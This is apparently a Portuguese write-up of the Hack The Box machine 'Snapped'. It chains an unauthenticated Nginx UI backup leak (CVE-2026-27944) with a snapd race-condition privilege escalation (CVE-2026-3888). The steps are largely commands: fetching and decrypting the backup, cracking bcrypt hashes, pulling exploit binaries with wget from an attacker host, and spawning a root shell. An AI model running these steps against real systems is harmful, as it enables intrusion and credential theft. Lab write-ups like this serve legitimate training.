
# HTB Snapped — Writeup da máquina Linux difícil. CVE-2026-27944 (divulgação de backup não autenticada no Nginx UI) encadeada com CVE-2026-3888 (LPE por condição de corrida no snapd) para obter comprometimento total do sistema.
Writeup da máquina HTB Snapped — Linux de dificuldade Hard. CVE-2026-27944 (divulgação não autenticada de backup no Nginx UI) encadeada com CVE-2026-3888 (condição de corrida no snapd para escalonamento local de privilégios) para comprometimento total do sistema.
Dificuldade: Hard
SO: Linux (Ubuntu 24.04)
Data de Lançamento: 23 Mar 2026
CVEs: CVE-2026-27944, CVE-2026-3888
Snapped é uma máquina Linux de dificuldade Hard que hospeda um site estático atrás do nginx com um painel administrativo Nginx UI. O acesso inicial é obtido explorando a CVE-2026-27944 — um endpoint de backup não autenticado que vaza chaves de criptografia AES. Após descriptografar o backup e quebrar um hash bcrypt do banco de dados SQLite, o acesso SSH é obtido. O escalonamento de privilégios para root é alcançado via CVE-2026-3888, uma condição de corrida no snapd entre o snap-confine e o systemd-tmpfiles.
nmap -sCV <TARGET_IP>
Portas abertas: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Encontrado: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
Versões do Nginx UI anteriores à 2.3.3 expõem /api/backup sem
autenticação. O cabeçalho de resposta X-Backup-Security vaza a
chave AES-256-CBC e o IV necessários para descriptografar o arquivo de backup.
Passo 1 — Baixar o backup e extrair chave/IV:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
Passo 2 — Converter para hex e descriptografar:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
Passo 3 — Extrair hash do banco de dados SQLite:
strings database.db | grep '\$2a\$'
# Hashes bcrypt encontrados para os usuários: jonathan, admin
Passo 4 — Quebrar o hash:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
Passo 5 — Acesso SSH:
ssh [email protected]
cat ~/user.txt
A CVE-2026-3888 é um escalonamento local de privilégios no snapd que afeta o Ubuntu 24.04. Ela abusa de uma condição de corrida TOCTOU entre dois componentes do sistema:
/tmp/.snapQuando o systemd-tmpfiles exclui /tmp/.snap, um atacante pode recriá-lo
com conteúdo malicioso. Quando o snap-confine inicializa uma
sandbox em seguida, ele faz bind-mount do diretório controlado pelo atacante com
privilégios de root, permitindo o sequestro do linker dinâmico.
Passo 1 — Verificar versão vulnerável:
snap version
# snapd 2.63.1+24.04 — vulnerável (corrigido na 2.73)
Passo 2 — Compilar exploit na máquina do atacante:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Passo 3 — Transferir para o alvo:
# Máquina do atacante
python3 -m http.server 8080
# Alvo
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
Passo 4 — Executar o exploit:
# Sessão 1 — executar o exploit
~/exploit ~/librootshell.so
# Sessão 2 — acionar a limpeza quando vir "Polling..."
rm -rf /tmp/.snap
Passo 5 — Shell root:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt